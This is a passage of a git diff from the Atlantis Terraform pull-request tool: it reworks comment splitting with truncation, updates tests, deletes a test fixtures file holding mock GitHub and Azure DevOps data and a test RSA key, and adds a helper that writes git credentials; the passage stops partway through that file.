comments. +*/ +func SplitComment(comment string, maxSize int, sepEnd string, sepStart string, maxCommentsPerCommand int, truncationHeader string) []string { if len(comment) <= maxSize { return []string{comment} } - maxWithSep := maxSize - len(sepEnd) - len(sepStart) + // No comment contains both sepEnd and truncationHeader, so we only have to count their max. + maxWithSep := maxSize - max(len(sepEnd), len(truncationHeader)) - len(sepStart) var comments []string - numComments := int(math.Ceil(float64(len(comment)) / float64(maxWithSep))) - for i := 0; i < numComments; i++ { - upTo := min(len(comment), (i+1)*maxWithSep) - portion := comment[i*maxWithSep : upTo] - if i < numComments-1 { - portion += sepEnd - } - if i > 0 { + numPotentialComments := int(math.Ceil(float64(len(comment)) / float64(maxWithSep))) + var numComments int + if maxCommentsPerCommand == 0 { + numComments = numPotentialComments + } else { + numComments = min(numPotentialComments, maxCommentsPerCommand) + } + isTruncated := numComments < numPotentialComments + upTo := len(comment) + for len(comments) < numComments { + downFrom := max(0, upTo-maxWithSep) + portion := comment[downFrom:upTo] + if len(comments)+1 != numComments { portion = sepStart + portion + } else if len(comments)+1 == numComments && isTruncated { + portion = truncationHeader + portion + } + if len(comments) != 0 { + portion = portion + sepEnd } - comments = append(comments, portion) + comments = append([]string{portion}, comments...) + upTo = downFrom } return comments } - -func min(a, b int) int { - if a < b { - return a - } - return b -} diff --git a/server/events/vcs/common/common_test.go b/server/events/vcs/common/common_test.go index 79dea1cb73..1f9d8e9d00 100644 --- a/server/events/vcs/common/common_test.go +++ b/server/events/vcs/common/common_test.go @@ -18,14 +18,13 @@ import ( "testing" "github.com/runatlantis/atlantis/server/events/vcs/common" - . "github.com/runatlantis/atlantis/testing" ) // If under the maximum number of chars, we shouldn't split the comments. func TestSplitComment_UnderMax(t *testing.T) { comment := "comment under max size" - split := common.SplitComment(comment, len(comment)+1, "sepEnd", "sepStart") + split := common.SplitComment(comment, len(comment)+1, "sepEnd", "sepStart", 0, "") Equals(t, []string{comment}, split) } @@ -35,11 +34,11 @@ func TestSplitComment_TwoComments(t *testing.T) { comment := strings.Repeat("a", 1000) sepEnd := "-sepEnd" sepStart := "-sepStart" - split := common.SplitComment(comment, len(comment)-1, sepEnd, sepStart) + split := common.SplitComment(comment, len(comment)-1, sepEnd, sepStart, 0, "") expCommentLen := len(comment) - len(sepEnd) - len(sepStart) - 1 - expFirstComment := comment[:expCommentLen] - expSecondComment := comment[expCommentLen:] + expFirstComment := comment[:len(comment)-expCommentLen] + expSecondComment := comment[len(comment)-expCommentLen:] Equals(t, 2, len(split)) Equals(t, expFirstComment+sepEnd, split[0]) Equals(t, sepStart+expSecondComment, split[1]) @@ -52,12 +51,50 @@ func TestSplitComment_FourComments(t *testing.T) { sepEnd := "-sepEnd" sepStart := "-sepStart" max := (len(comment) / 4) + len(sepEnd) + len(sepStart) - split := common.SplitComment(comment, max, sepEnd, sepStart) + split := common.SplitComment(comment, max, sepEnd, sepStart, 0, "") expMax := len(comment) / 4 Equals(t, []string{ - comment[:expMax] + sepEnd, - sepStart + comment[expMax:expMax*2] + sepEnd, - sepStart + comment[expMax*2:expMax*3] + sepEnd, - sepStart + comment[expMax*3:]}, split) + comment[:len(comment)-expMax*3] + sepEnd, + sepStart + comment[len(comment)-expMax*3:len(comment)-expMax*2] + sepEnd, + sepStart + comment[len(comment)-expMax*2:len(comment)-expMax] + sepEnd, + sepStart + comment[len(comment)-expMax:]}, split) +} + +func TestSplitComment_Limited(t *testing.T) { + comment := strings.Repeat("a", 1000) + sepEnd := "-sepEnd" + sepStart := "-sepStart" + truncationHeader := "truncated-" + max := (len(comment) / 8) + max(len(sepEnd), len(truncationHeader)) + len(sepStart) + split := common.SplitComment(comment, max, sepEnd, sepStart, 5, truncationHeader) + + expMax := len(comment) / 8 + Equals(t, []string{ + truncationHeader + comment[len(comment)-expMax*5:len(comment)-expMax*4] + sepEnd, + sepStart + comment[len(comment)-expMax*4:len(comment)-expMax*3] + sepEnd, + sepStart + comment[len(comment)-expMax*3:len(comment)-expMax*2] + sepEnd, + sepStart + comment[len(comment)-expMax*2:len(comment)-expMax] + sepEnd, + sepStart + comment[len(comment)-expMax:]}, split) +} + +func TestAutomergeCommitMsg(t *testing.T) { + tests := []struct { + name string + pullNum int + want string + }{ + { + name: "Atlantis PR commit message should include PR number", + pullNum: 123, + want: "[Atlantis] Automatically merging after successful apply: PR #123", + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := common.AutomergeCommitMsg(tt.pullNum); got != tt.want { + t.Errorf("AutomergeCommitMsg() = %v, want %v", got, tt.want) + } + }) + } } diff --git a/server/events/vcs/fixtures/fixtures.go b/server/events/vcs/fixtures/fixtures.go deleted file mode 100644 index 0f9f2c331f..0000000000 --- a/server/events/vcs/fixtures/fixtures.go +++ /dev/null @@ -1,524 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package fixtures - -import ( - "fmt" - "net/http" - "net/http/httptest" - "net/url" - "strings" - "testing" - - "github.com/dgrijalva/jwt-go" - "github.com/google/go-github/v31/github" - "github.com/mcdafydd/go-azuredevops/azuredevops" -) - -var PullEvent = github.PullRequestEvent{ - Sender: &github.User{ - Login: github.String("user"), - }, - Repo: &Repo, - PullRequest: &Pull, - Action: github.String("opened"), -} - -var Pull = github.PullRequest{ - Head: &github.PullRequestBranch{ - SHA: github.String("sha256"), - Ref: github.String("ref"), - Repo: &Repo, - }, - Base: &github.PullRequestBranch{ - SHA: github.String("sha256"), - Repo: &Repo, - Ref: github.String("basebranch"), - }, - HTMLURL: github.String("html-url"), - User: &github.User{ - Login: github.String("user"), - }, - Number: github.Int(1), - State: github.String("open"), -} - -var Repo = github.Repository{ - FullName: github.String("owner/repo"), - Owner: &github.User{Login: github.String("owner")}, - Name: github.String("repo"), - CloneURL: github.String("https://github.com/owner/repo.git"), -} - -var ADPullEvent = azuredevops.Event{ - EventType: "git.pullrequest.created", - Resource: &ADPull, -} - -var ADPullUpdatedEvent = azuredevops.Event{ - EventType: "git.pullrequest.updated", - Resource: &ADPull, -} - -var ADPullClosedEvent = azuredevops.Event{ - EventType: "git.pullrequest.merged", - Resource: &ADPullCompleted, -} - -var ADPull = azuredevops.GitPullRequest{ - CreatedBy: &azuredevops.IdentityRef{ - ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), - DisplayName: azuredevops.String("User"), - UniqueName: azuredevops.String("user@example.com"), - }, - LastMergeSourceCommit: &azuredevops.GitCommitRef{ - CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), - URL: azuredevops.String("https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), - }, - PullRequestID: azuredevops.Int(1), - Repository: &ADRepo, - SourceRefName: azuredevops.String("refs/heads/feature/sourceBranch"), - Status: azuredevops.String("active"), - TargetRefName: azuredevops.String("refs/heads/targetBranch"), - URL: azuredevops.String("https://dev.azure.com/fabrikam/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), -} - -var ADPullCompleted = azuredevops.GitPullRequest{ - CreatedBy: &azuredevops.IdentityRef{ - ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), - DisplayName: azuredevops.String("User"), - UniqueName: azuredevops.String("user@example.com"), - }, - LastMergeSourceCommit: &azuredevops.GitCommitRef{ - CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), - URL: azuredevops.String("https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), - }, - PullRequestID: azuredevops.Int(1), - Repository: &ADRepo, - SourceRefName: azuredevops.String("refs/heads/owner/sourceBranch"), - Status: azuredevops.String("completed"), - TargetRefName: azuredevops.String("refs/heads/targetBranch"), - URL: azuredevops.String("https://dev.azure.com/fabrikam/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), -} - -var ADRepo = azuredevops.GitRepository{ - DefaultBranch: azuredevops.String("refs/heads/master"), - Name: azuredevops.String("repo"), - ParentRepository: &azuredevops.GitRepositoryRef{ - Name: azuredevops.String("owner"), - }, - Project: &azuredevops.TeamProjectReference{ - ID: azuredevops.String("a21f5f20-4a12-aaf4-ab12-9a0927cbbb90"), - Name: azuredevops.String("project"), - State: azuredevops.String("unchanged"), - }, - WebURL: azuredevops.String("https://dev.azure.com/owner/project/_git/repo"), -} - -var ADPullJSON = `{ - "repository": { - "id": "3411ebc1-d5aa-464f-9615-0b527bc66719", - "name": "repo", - "url": "https://dev.azure.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", - "webUrl": "https://dev.azure.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", - "project": { - "id": "a7573007-bbb3-4341-b726-0c4148a07853", - "name": "project", - "description": "test project created on Halloween 2016", - "url": "https://dev.azure.com/owner/_apis/projects/a7573007-bbb3-4341-b726-0c4148a07853", - "state": "wellFormed", - "revision": 7 - }, - "remoteUrl": "https://dev.azure.com/owner/project/_git/repo" - }, - "pullRequestId": 22, - "codeReviewId": 22, - "status": "active", - "createdBy": { - "id": "d6245f20-2af8-44f4-9451-8107cb2767db", - "displayName": "Normal Paulk", - "uniqueName": "fabrikamfiber16@hotmail.com", - "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", - "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" - }, - "creationDate": "2016-11-01T16:30:31.6655471Z", - "title": "A new feature", - "description": "Adding a new feature", - "sourceRefName": "refs/heads/npaulk/my_work", - "targetRefName": "refs/heads/new_feature", - "mergeStatus": "succeeded", - "mergeId": "f5fc8381-3fb2-49fe-8a0d-27dcc2d6ef82", - "lastMergeSourceCommit": { - "commitId": "b60280bc6e62e2f880f1b63c1e24987664d3bda3", - "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" - }, - "lastMergeTargetCommit": { - "commitId": "f47bbc106853afe3c1b07a81754bce5f4b8dbf62", - "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" - }, - "lastMergeCommit": { - "commitId": "39f52d24533cc712fc845ed9fd1b6c06b3942588", - "author": { - "name": "Normal Paulk", - "email": "fabrikamfiber16@hotmail.com", - "date": "2016-11-01T16:30:32Z" - }, - "committer": { - "name": "Normal Paulk", - "email": "fabrikamfiber16@hotmail.com", - "date": "2016-11-01T16:30:32Z" - }, - "comment": "Merge pull request 22 from npaulk/my_work into new_feature", - "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/39f52d24533cc712fc845ed9fd1b6c06b3942588" - }, - "reviewers": [ - { - "reviewerUrl": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/reviewers/d6245f20-2af8-44f4-9451-8107cb2767db", - "vote": 0, - "id": "d6245f20-2af8-44f4-9451-8107cb2767db", - "displayName": "Normal Paulk", - "uniqueName": "fabrikamfiber16@hotmail.com", - "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", - "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" - } - ], - "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22", - "_links": { - "self": { - "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22" - }, - "repository": { - "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719" - }, - "workItems": { - "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/workitems" - }, - "sourceBranch": { - "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" - }, - "targetBranch": { - "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" - }, - "sourceCommit": { - "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" - }, - "targetCommit": { - "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" - }, - "createdBy": { - "href": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db" - }, - "iterations": { - "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/iterations" - } - }, - "supportsIterations": true, - "artifactId": "vstfs:///Git/PullRequestId/a7573007-bbb3-4341-b726-0c4148a07853%2f3411ebc1-d5aa-464f-9615-0b527bc66719%2f22" -}` - -const GithubPrivateKey = `-----BEGIN RSA PRIVATE KEY----- -MIIEowIBAAKCAQEAuEPzOUE+kiEH1WLiMeBytTEF856j0hOVcSUSUkZxKvqczkWM -9vo1gDyC7ZXhdH9fKh32aapba3RSsp4ke+giSmYTk2mGR538ShSDxh0OgpJmjiKP -X0Bj4j5sFqfXuCtl9SkH4iueivv4R53ktqM+n6hk98l6hRwC39GVIblAh2lEM4L/ -6WvYwuQXPMM5OG2Ryh2tDZ1WS5RKfgq+9ksNJ5Q9UtqtqHkO+E63N5OK9sbzpUUm -oNaOl3udTlZD3A8iqwMPVxH4SxgATBPAc+bmjk6BMJ0qIzDcVGTrqrzUiywCTLma -szdk8GjzXtPDmuBgNn+o6s02qVGpyydgEuqmTQIDAQABAoIBACL6AvkjQVVLn8kJ -dBYznJJ4M8ECo+YEgaFwgAHODT0zRQCCgzd+Vxl4YwHmKV2Lr+y2s0drZt8GvYva -KOK8NYYZyi15IlwFyRXmvvykF1UBpSXluYFDH7KaVroWMgRreHcIys5LqVSIb6Bo -gDmK0yBLPp8qR29s2b7ScZRtLaqGJiX+j55rNzrZwxHkxFHyG9OG+u9IsBElcKCP -kYCVE8ZdYexfnKOZbgn2kZB9qu0T/Mdvki8yk3I2bI6xYO24oQmhnT36qnqWoCBX -NuCNsBQgpYZeZET8mEAUmo9d+ABmIHIvSs005agK8xRaP4+6jYgy6WwoejJRF5yd -NBuF7aECgYEA50nZ4FiZYV0vcJDxFYeY3kYOvVuKn8OyW+2rg7JIQTremIjv8FkE -ZnwuF9ZRxgqLxUIfKKfzp/5l5LrycNoj2YKfHKnRejxRWXqG+ZETfxxlmlRns0QG -J4+BYL0CoanDSeA4fuyn4Bv7cy/03TDhfg/Uq0Aeg+hhcPE/vx3ebPsCgYEAy/Pv -eDLssOSdeyIxf0Brtocg6aPXIVaLdus+bXmLg77rJIFytAZmTTW8SkkSczWtucI3 -FI1I6sei/8FdPzAl62/JDdlf7Wd9K7JIotY4TzT7Tm7QU7xpfLLYIP1bOFjN81rk -77oOD4LsXcosB/U6s1blPJMZ6AlO2EKs10UuR1cCgYBipzuJ2ADEaOz9RLWwi0AH -Pza2Sj+c2epQD9ZivD7Zo/Sid3ZwvGeGF13JyR7kLEdmAkgsHUdu1rI7mAolXMaB -1pdrsHureeLxGbRM6za3tzMXWv1Il7FQWoPC8ZwXvMOR1VQDv4nzq7vbbA8z8c+c -57+8tALQHOTDOgQIzwK61QKBgERGVc0EJy4Uag+VY8J4m1ZQKBluqo7TfP6DQ7O8 -M5MX73maB/7yAX8pVO39RjrhJlYACRZNMbK+v/ckEQYdJSSKmGCVe0JrGYDuPtic -I9+IGfSorf7KHPoMmMN6bPYQ7Gjh7a++tgRFTMEc8956Hnt4xGahy9NcglNtBpVN -6G8jAoGBAMCh028pdzJa/xeBHLLaVB2sc0Fe7993WlsPmnVE779dAz7qMscOtXJK -fgtriltLSSD6rTA9hUAsL/X62rY0wdXuNdijjBb/qvrx7CAV6i37NK1CjABNjsfG -ZM372Ac6zc1EqSrid2IjET1YqyIW2KGLI1R2xbQc98UGlt48OdWu ------END RSA PRIVATE KEY----- -` - -// https://developer.github.com/v3/apps/#response-9 -var githubConversionJSON = `{ - "id": 1, - "node_id": "MDM6QXBwNTk=", - "owner": { - "login": "octocat", - "id": 1, - "node_id": "MDQ6VXNlcjE=", - "avatar_url": "https://github.com/images/error/octocat_happy.gif", - "gravatar_id": "", - "url": "https://api.github.com/users/octocat", - "html_url": "https://github.com/octocat", - "followers_url": "https://api.github.com/users/octocat/followers", - "following_url": "https://api.github.com/users/octocat/following{/other_user}", - "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", - "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", - "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", - "organizations_url": "https://api.github.com/users/octocat/orgs", - "repos_url": "https://api.github.com/users/octocat/repos", - "events_url": "https://api.github.com/users/octocat/events{/privacy}", - "received_events_url": "https://api.github.com/users/octocat/received_events", - "type": "User", - "site_admin": false - }, - "name": "Atlantis", - "description": null, - "external_url": "https://atlantis.example.com", - "html_url": "https://github.com/apps/atlantis", - "created_at": "2018-09-13T12:28:37Z", - "updated_at": "2018-09-13T12:28:37Z", - "client_id": "Iv1.8a61f9b3a7aba766", - "client_secret": "1726be1638095a19edd134c77bde3aa2ece1e5d8", - "webhook_secret": "e340154128314309424b7c8e90325147d99fdafa", - "pem": "%s" -}` - -var githubAppInstallationJSON = `[ - { - "id": 1, - "account": { - "login": "github", - "id": 1, - "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", - "url": "https://api.github.com/orgs/github", - "repos_url": "https://api.github.com/orgs/github/repos", - "events_url": "https://api.github.com/orgs/github/events", - "hooks_url": "https://api.github.com/orgs/github/hooks", - "issues_url": "https://api.github.com/orgs/github/issues", - "members_url": "https://api.github.com/orgs/github/members{/member}", - "public_members_url": "https://api.github.com/orgs/github/public_members{/member}", - "avatar_url": "https://github.com/images/error/octocat_happy.gif", - "description": "A great organization" - }, - "access_tokens_url": "https://api.github.com/installations/1/access_tokens", - "repositories_url": "https://api.github.com/installation/repositories", - "html_url": "https://github.com/organizations/github/settings/installations/1", - "app_id": 1, - "target_id": 1, - "target_type": "Organization", - "permissions": { - "metadata": "read", - "contents": "read", - "issues": "write", - "single_file": "write" - }, - "events": [ - "push", - "pull_request" - ], - "single_file_name": "config.yml", - "repository_selection": "selected" - } -]` - -// nolint: gosec -var githubAppTokenJSON = `{ - "token": "v1.1f699f1069f60xx%d", - "expires_at": "2050-01-01T00:00:00Z", - "permissions": { - "issues": "write", - "contents": "read" - }, - "repositories": [ - { - "id": 1296269, - "node_id": "MDEwOlJlcG9zaXRvcnkxMjk2MjY5", - "name": "Hello-World", - "full_name": "octocat/Hello-World", - "owner": { - "login": "octocat", - "id": 1, - "node_id": "MDQ6VXNlcjE=", - "avatar_url": "https://github.com/images/error/octocat_happy.gif", - "gravatar_id": "", - "url": "https://api.github.com/users/octocat", - "html_url": "https://github.com/octocat", - "followers_url": "https://api.github.com/users/octocat/followers", - "following_url": "https://api.github.com/users/octocat/following{/other_user}", - "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", - "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", - "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", - "organizations_url": "https://api.github.com/users/octocat/orgs", - "repos_url": "https://api.github.com/users/octocat/repos", - "events_url": "https://api.github.com/users/octocat/events{/privacy}", - "received_events_url": "https://api.github.com/users/octocat/received_events", - "type": "User", - "site_admin": false - }, - "private": false, - "html_url": "https://github.com/octocat/Hello-World", - "description": "This your first repo!", - "fork": false, - "url": "https://api.github.com/repos/octocat/Hello-World", - "archive_url": "http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}", - "assignees_url": "http://api.github.com/repos/octocat/Hello-World/assignees{/user}", - "blobs_url": "http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}", - "branches_url": "http://api.github.com/repos/octocat/Hello-World/branches{/branch}", - "collaborators_url": "http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}", - "comments_url": "http://api.github.com/repos/octocat/Hello-World/comments{/number}", - "commits_url": "http://api.github.com/repos/octocat/Hello-World/commits{/sha}", - "compare_url": "http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}", - "contents_url": "http://api.github.com/repos/octocat/Hello-World/contents/{+path}", - "contributors_url": "http://api.github.com/repos/octocat/Hello-World/contributors", - "deployments_url": "http://api.github.com/repos/octocat/Hello-World/deployments", - "downloads_url": "http://api.github.com/repos/octocat/Hello-World/downloads", - "events_url": "http://api.github.com/repos/octocat/Hello-World/events", - "forks_url": "http://api.github.com/repos/octocat/Hello-World/forks", - "git_commits_url": "http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}", - "git_refs_url": "http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}", - "git_tags_url": "http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}", - "git_url": "git:github.com/octocat/Hello-World.git", - "issue_comment_url": "http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}", - "issue_events_url": "http://api.github.com/repos/octocat/Hello-World/issues/events{/number}", - "issues_url": "http://api.github.com/repos/octocat/Hello-World/issues{/number}", - "keys_url": "http://api.github.com/repos/octocat/Hello-World/keys{/key_id}", - "labels_url": "http://api.github.com/repos/octocat/Hello-World/labels{/name}", - "languages_url": "http://api.github.com/repos/octocat/Hello-World/languages", - "merges_url": "http://api.github.com/repos/octocat/Hello-World/merges", - "milestones_url": "http://api.github.com/repos/octocat/Hello-World/milestones{/number}", - "notifications_url": "http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}", - "pulls_url": "http://api.github.com/repos/octocat/Hello-World/pulls{/number}", - "releases_url": "http://api.github.com/repos/octocat/Hello-World/releases{/id}", - "ssh_url": "git@github.com:octocat/Hello-World.git", - "stargazers_url": "http://api.github.com/repos/octocat/Hello-World/stargazers", - "statuses_url": "http://api.github.com/repos/octocat/Hello-World/statuses/{sha}", - "subscribers_url": "http://api.github.com/repos/octocat/Hello-World/subscribers", - "subscription_url": "http://api.github.com/repos/octocat/Hello-World/subscription", - "tags_url": "http://api.github.com/repos/octocat/Hello-World/tags", - "teams_url": "http://api.github.com/repos/octocat/Hello-World/teams", - "trees_url": "http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}", - "clone_url": "https://github.com/octocat/Hello-World.git", - "mirror_url": "git:git.example.com/octocat/Hello-World", - "hooks_url": "http://api.github.com/repos/octocat/Hello-World/hooks", - "svn_url": "https://svn.github.com/octocat/Hello-World", - "homepage": "https://github.com", - "language": null, - "forks_count": 9, - "stargazers_count": 80, - "watchers_count": 80, - "size": 108, - "default_branch": "master", - "open_issues_count": 0, - "is_template": true, - "topics": [ - "octocat", - "atom", - "electron", - "api" - ], - "has_issues": true, - "has_projects": true, - "has_wiki": true, - "has_pages": false, - "has_downloads": true, - "archived": false, - "disabled": false, - "visibility": "public", - "pushed_at": "2011-01-26T19:06:43Z", - "created_at": "2011-01-26T19:01:12Z", - "updated_at": "2011-01-26T19:14:43Z", - "permissions": { - "admin": false, - "push": false, - "pull": true - }, - "allow_rebase_merge": true, - "template_repository": null, - "temp_clone_token": "ABTLWHOULUVAXGTRYU7OC2876QJ2O", - "allow_squash_merge": true, - "allow_merge_commit": true, - "subscribers_count": 42, - "network_count": 0 - } - ] -}` - -func validateGithubToken(tokenString string) error { - key, err := jwt.ParseRSAPrivateKeyFromPEM([]byte(GithubPrivateKey)) - if err != nil { - return fmt.Errorf("could not parse private key: %s", err) - } - - token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { - // Don't forget to validate the alg is what you expect: - if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok { - err := fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) - - return nil, err - } - - return key.Public(), nil - }) - - if err != nil { - return err - } - - if claims, ok := token.Claims.(jwt.MapClaims); !ok || !token.Valid || claims["iss"] != "1" { - return fmt.Errorf("Invalid token") - } - return nil -} - -func GithubAppTestServer(t *testing.T) (string, error) { - counter := 0 - testServer := httptest.NewTLSServer( - http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - switch r.RequestURI { - case "/api/v3/app-manifests/good-code/conversions": - encodedKey := strings.Join(strings.Split(GithubPrivateKey, "\n"), "\\n") - appInfo := fmt.Sprintf(githubConversionJSON, encodedKey) - w.Write([]byte(appInfo)) // nolint: errcheck - // https://developer.github.com/v3/apps/#list-installations - case "/api/v3/app/installations": - token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) - if err := validateGithubToken(token); err != nil { - w.WriteHeader(403) - w.Write([]byte("Invalid token")) // nolint: errcheck - return - } - - w.Write([]byte(githubAppInstallationJSON)) // nolint: errcheck - return - case "/api/v3/app/installations/1/access_tokens": - token := strings.Replace(r.Header.Get("Authorization"), "Bearer ", "", 1) - if err := validateGithubToken(token); err != nil { - w.WriteHeader(403) - w.Write([]byte("Invalid token")) // nolint: errcheck - return - } - - appToken := fmt.Sprintf(githubAppTokenJSON, counter) - counter++ - w.Write([]byte(appToken)) // nolint: errcheck - return - default: - t.Errorf("got unexpected request at %q", r.RequestURI) - http.Error(w, "not found", http.StatusNotFound) - return - } - })) - - testServerURL, err := url.Parse(testServer.URL) - - return testServerURL.Host, err -} diff --git a/server/events/vcs/git_cred_writer.go b/server/events/vcs/git_cred_writer.go new file mode 100644 index 0000000000..f877abcfdf --- /dev/null +++ b/server/events/vcs/git_cred_writer.go @@ -0,0 +1,141 @@ +package vcs + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/logging" +) + +// WriteGitCreds generates a .git-credentials file containing the username and token +// used for authenticating with git over HTTPS +// It will create the file in home/.git-credentials +// If ghAccessToken is true we will look for a line starting with https://x-access-token and ending with gitHostname and replace it. +func WriteGitCreds(gitUser string, gitToken string, gitHostname string, home string, logger logging.SimpleLogging, ghAccessToken bool) error { + const credsFilename = ".git-credentials" + credsFile := filepath.Join(home, credsFilename) + credsFileContentsPattern := `https://%s:%s@%s` // nolint: gosec + config := fmt.Sprintf(credsFileContentsPattern, gitUser, gitToken, gitHostname) + + // If the file doesn't exist, write it. + if _, err := os.Stat(credsFile); err != nil { + if err := os.WriteFile(credsFile, []byte(config), 0600); err != nil { + return errors.Wrapf(err, "writing generated %s file with user, token and hostname to %s", credsFilename, credsFile) + } + logger.Info("wrote git credentials to %s", credsFile) + } else { + hasLine, err := fileHasLine(config, credsFile) + if err != nil { + return err + } + if hasLine { + logger.Debug("git credentials file has expected contents, not modifying") + return nil + } + + if ghAccessToken { + hasGHToken, err := fileHasGHToken(gitUser, gitHostname, credsFile) + if err != nil { + return err + } + if hasGHToken { + // Need to replace the line. + if err := fileLineReplace(config, gitUser, gitHostname, credsFile); err != nil { + return errors.Wrap(err, "replacing git credentials line for github app") + } + logger.Info("updated git credentials in %s", credsFile) + } else { + if err := fileAppend(config, credsFile); err != nil { + return err + } + logger.Info("wrote git credentials to %s", credsFile) + } + + } else { + // Otherwise we need to append the line. + if err := fileAppend(config, credsFile); err != nil { + return err + } + logger.Info("wrote git credentials to %s", credsFile) + } + } + + credentialCmd := exec.Command("git", "config", "--global", "credential.helper", "store") + if out, err := credentialCmd.CombinedOutput(); err != nil { + return errors.Wrapf(err, "There was an error running %s: %s", strings.Join(credentialCmd.Args, " "), string(out)) + } + logger.Info("successfully ran %s", strings.Join(credentialCmd.Args, " ")) + + urlCmd := exec.Command("git", "config", "--global", fmt.Sprintf("url.https://%s@%s.insteadOf", gitUser, gitHostname), fmt.Sprintf("ssh://git@%s", gitHostname)) // nolint: gosec + if out, err := urlCmd.CombinedOutput(); err != nil { + return errors.Wrapf(err, "There was an error running %s: %s", strings.Join(urlCmd.Args, " "), string(out)) + } + logger.Info("successfully ran %s", strings.Join(urlCmd.Args, " ")) + return nil +} + +func fileHasLine(line string, filename string) (bool, error) { + currContents, err := os.ReadFile(filename) // nolint: gosec + if err != nil { + return false, errors.Wrapf(err, "reading %s", filename) + } + for _, l := range strings.Split(string(currContents), "\n") { + if l == line { + return true, nil + } + } + return false, nil +} + +func fileAppend(line string, filename string) error { + currContents, err := os.ReadFile(filename) // nolint: gosec + if err != nil { + return err + } + if len(currContents) > 0 && !strings.HasSuffix(string(currContents), "\n") { + line = "\n" + line + } + return os.WriteFile(filename, []byte(string(currContents)+line), 0600) +} + +func fileLineReplace(line, user, host, filename string) error { + currContents, err := os.ReadFile(filename) // nolint: gosec + if err != nil { + return err + } + prevLines := strings.Split(string(currContents), "\n") + var newLines []string + for _, l := range prevLines { + if strings.HasPrefix(l, "https://"+user) && strings.HasSuffix(l, host) { + newLines = append(newLines, line) + } else { + newLines = append(newLines, l) + } + } + toWrite := strings.Join(newLines, "\n") + + // there was nothing to replace so we need to append the creds + if 